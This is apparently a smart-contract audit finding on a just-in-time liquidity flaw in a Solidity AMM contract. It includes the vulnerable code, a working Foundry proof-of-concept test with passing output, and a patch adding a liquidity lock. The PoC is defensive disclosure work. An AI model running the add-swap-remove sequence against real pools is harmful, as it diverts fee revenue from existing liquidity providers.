    function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
        require(block.timestamp <= _deadline, "Expired");
        require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");

        uint256 _hypeAmount = msg.value;
        require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");

        uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
        (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
        require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");

        _updateBuyBackOracle();

        lpOf[msg.sender] += lpAdded;
        totalLP          += lpAdded;
        reserveHYPE      += _hypeUsed;
        reserveDAO       += _daoUsed;

        _update(msg.sender, address(this), _daoUsed);

        if (_hypeRefund > 0) {
            (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
            require(_success, "Refund failed");
        }

        emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
    }

    function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
        require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
        require(block.timestamp <= _deadline, "Expired");

        hype = _lp * reserveHYPE / totalLP;
        dao  = _lp * reserveDAO / totalLP;
        require(hype > 0 && dao > 0, "Zero output");
        require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");

        _updateBuyBackOracle();

        lpOf[msg.sender] -= _lp;
        totalLP          -= _lp;
        reserveHYPE      -= hype;
        reserveDAO       -= dao;

        _update(address(this), msg.sender, dao);

        (bool _success, ) = msg.sender.call{value: hype}("");
        require(_success, "HYPE transfer failed");

        emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
    }
⋯ code omitted for brevity ⋯

Lines 273-308 — _swap functions that a JIT LP would sandwich_ — _Swap operations retain fee-bearing input in reserves and update the pool before LP redemption._ — _Swaps retain fee-adjusted reserve growth that the temporary LP can redeem._

    function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(msg.value > 0, "Zero input");

        uint256 _hypeInAfterFee = msg.value * FEE_NUM;
        daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveHYPE += msg.value;
        reserveDAO  -= daoOut;
        _update(address(this), msg.sender, daoOut);

        emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
    }

    function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(_daoIn > 0, "Zero input");

        uint256 _daoInAfterFee = _daoIn * FEE_NUM;
        hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
        require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveDAO  += _daoIn;
        reserveHYPE -= hypeOut;
        _update(msg.sender, address(this), _daoIn);

        (bool _success, ) = msg.sender.call{value: hypeOut}("");
        require(_success, "HYPE transfer failed");

        emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
    }

Description

New LP shares are credited to lpOf[msg.sender] and included in totalLP as soon as addLiquidity executes, while removeLiquidity allows those same shares to be redeemed immediately. An attacker can therefore add balanced liquidity before a known large swap, allow the swap to change the reserves, and withdraw directly afterward, including through ordered transactions in one block. Both swap paths price output using fee-adjusted input but add the full input to reserves, leaving the swap fee in the pool for LPs present at redemption. Since withdrawal pays a pro-rata portion of the current reserveHYPE and reserveDAO, the temporary position receives part of this fee-bearing reserve growth. A lock, cooldown, or fee-accrual design that separates newly added liquidity from immediately redeemable fee entitlement is needed to prevent this just-in-time extraction.

Root cause

addLiquidity immediately activates LP shares and removeLiquidity immediately redeems them against current reserves, with no holding-period restriction or fee-accounting separation.

Impact

A searcher with sufficient paired assets and transaction-ordering capability can repeatedly redirect part of fees from large swaps to its transient LP position. Pre-existing LPs receive less fee revenue despite providing the liquidity prior to the trade, creating systematic leakage of the pool's fee earnings.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;

    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("jury-minter");
    address internal incumbentLP = makeAddr("incumbent-lp");
    address internal attacker = makeAddr("jit-attacker");
    address internal victim = makeAddr("large-swapper");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 40_000 ether);
        vm.deal(incumbentLP, 1_000 ether);
        vm.deal(attacker, 1_000 ether);
        vm.deal(victim, 1_000 ether);

        // Public mint bootstraps the DAO AMM through CloudedJury -> CloudedDAO.buyBack.
        // 10,000 NFTs send 100 HYPE into buyBack, creating an initial 100/100 pool.
        vm.prank(creator);
        jury.mint{value: 30_000 ether}(10_000);
        assertEq(dao.reserveHYPE(), 100 ether, "pool HYPE reserve bootstrapped");
        assertEq(dao.reserveDAO(), 100 ether, "pool DAO reserve bootstrapped");
    }

    function _buyDao(address user, uint256 hypeIn) internal returns (uint256 daoOut) {
        uint256 beforeBal = dao.balanceOf(user);
        vm.prank(user);
        dao.swapHYPEForDAO{value: hypeIn}(0, block.timestamp);
        daoOut = dao.balanceOf(user) - beforeBal;
        assertGt(daoOut, 0, "swap produced DAO tokens");
    }

    function _addLiquidityWithAllDao(address user, uint256 hypeIn) internal returns (uint256 lpAdded) {
        uint256 daoBalance = dao.balanceOf(user);
        assertGt(daoBalance, 0, "user has DAO for paired liquidity");
        vm.prank(user);
        lpAdded = dao.addLiquidity{value: hypeIn}(daoBalance, 0, block.timestamp);
        assertGt(lpAdded, 0, "LP shares minted immediately");
    }

    function test_jitLiquidityCanBeAddedBeforeSwapAndRemovedAfterCapturingFeeBearingReserves() public {
        // Incumbent obtains DAO through the public swap path, then becomes a normal LP.
        _buyDao(incumbentLP, 20 ether);
        uint256 incumbentLpMinted = _addLiquidityWithAllDao(incumbentLP, 10 ether);
        assertEq(dao.lpOf(incumbentLP), incumbentLpMinted, "incumbent LP active");

        // The attacker also obtains DAO through a public swap. Immediately before a known
        // large victim swap, it adds balanced liquidity and its LP is included in totalLP.
        _buyDao(attacker, 20 ether);
        uint256 attackerLpMinted = _addLiquidityWithAllDao(attacker, 10 ether);
        assertEq(dao.lpOf(attacker), attackerLpMinted, "attacker LP active immediately");

        (uint256 preSwapHypeEntitlement, uint256 preSwapDaoEntitlement) = dao.quoteRemoveLiquidity(attackerLpMinted);
        uint256 totalLpWithAttacker = dao.totalLP();
        uint256 attackerShareBps = attackerLpMinted * 10_000 / totalLpWithAttacker;
        assertGt(attackerShareBps, 0, "attacker owns pool share during victim swap");

        // A large public swap is executed after the JIT LP is active. The swap prices output
        // with fee-adjusted input but adds the full HYPE input to reserveHYPE.
        uint256 reserveHypeBeforeSwap = dao.reserveHYPE();
        vm.prank(victim);
        dao.swapHYPEForDAO{value: 50 ether}(0, block.timestamp);
        assertEq(dao.reserveHYPE(), reserveHypeBeforeSwap + 50 ether, "full victim input retained in reserves");

        // Because there is no lock/cooldown/fee-separation, the attacker can redeem the same
        // LP shares immediately against the post-swap reserves in the same block timestamp.
        (uint256 postSwapHypeEntitlement, uint256 postSwapDaoEntitlement) = dao.quoteRemoveLiquidity(attackerLpMinted);
        assertGt(postSwapHypeEntitlement, preSwapHypeEntitlement, "temporary LP received pro-rata HYPE reserve growth from victim swap");
        assertLt(postSwapDaoEntitlement, preSwapDaoEntitlement, "position was exposed to real swap inventory change");

        uint256 attackerHypeBefore = attacker.balance;
        uint256 attackerDaoBefore = dao.balanceOf(attacker);
        vm.prank(attacker);
        (uint256 hypeWithdrawn, uint256 daoWithdrawn) = dao.removeLiquidity(attackerLpMinted, 0, 0, block.timestamp);

        assertEq(hypeWithdrawn, postSwapHypeEntitlement, "withdrawal used current post-swap HYPE reserves");
        assertEq(daoWithdrawn, postSwapDaoEntitlement, "withdrawal used current post-swap DAO reserves");
        assertEq(attacker.balance - attackerHypeBefore, hypeWithdrawn, "attacker received HYPE immediately");
        assertEq(dao.balanceOf(attacker) - attackerDaoBefore, daoWithdrawn, "attacker received DAO immediately");
        assertEq(dao.lpOf(attacker), 0, "temporary LP exited right after the swap");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1164 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_jitLiquidityCanBeAddedBeforeSwapAndRemovedAfterCapturingFeeBearingReserves() (gas: 645227)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 132.02ms (1.09ms CPU time)

Ran 1 test suite in 133.62ms (132.02ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC executes the real CloudedDAO addLiquidity, swapHYPEForDAO, and removeLiquidity paths on the Foundry harness and demonstrates same-timestamp add -> victim swap -> remove. It proves immediate redemption against post-swap fee-bearing reserves and temporary LP capture of pro-rata reserve growth; it does not model mempool ordering profitability or repeated searcher strategy beyond the single public ordered sequence.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Adds a 30-minute per-provider liquidity cooldown: each add resets the provider's unlock timestamp, and removeLiquidity rejects redemption before it, preventing immediate and same-block add-swap-remove JIT fee capture.

Patch

diff
diff --git a/src/CloudedDAO.sol b/src/CloudedDAO.sol
--- a/src/CloudedDAO.sol
+++ b/src/CloudedDAO.sol
@@ -1,362 +1,366 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
+    uint256 private constant LIQUIDITY_LOCK_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
+    mapping(address => uint256) private liquidityUnlockAt_;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
+        liquidityUnlockAt_[msg.sender] = block.timestamp + LIQUIDITY_LOCK_PERIOD;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
+        require(block.timestamp >= liquidityUnlockAt_[msg.sender], "Liquidity locked");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,366 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
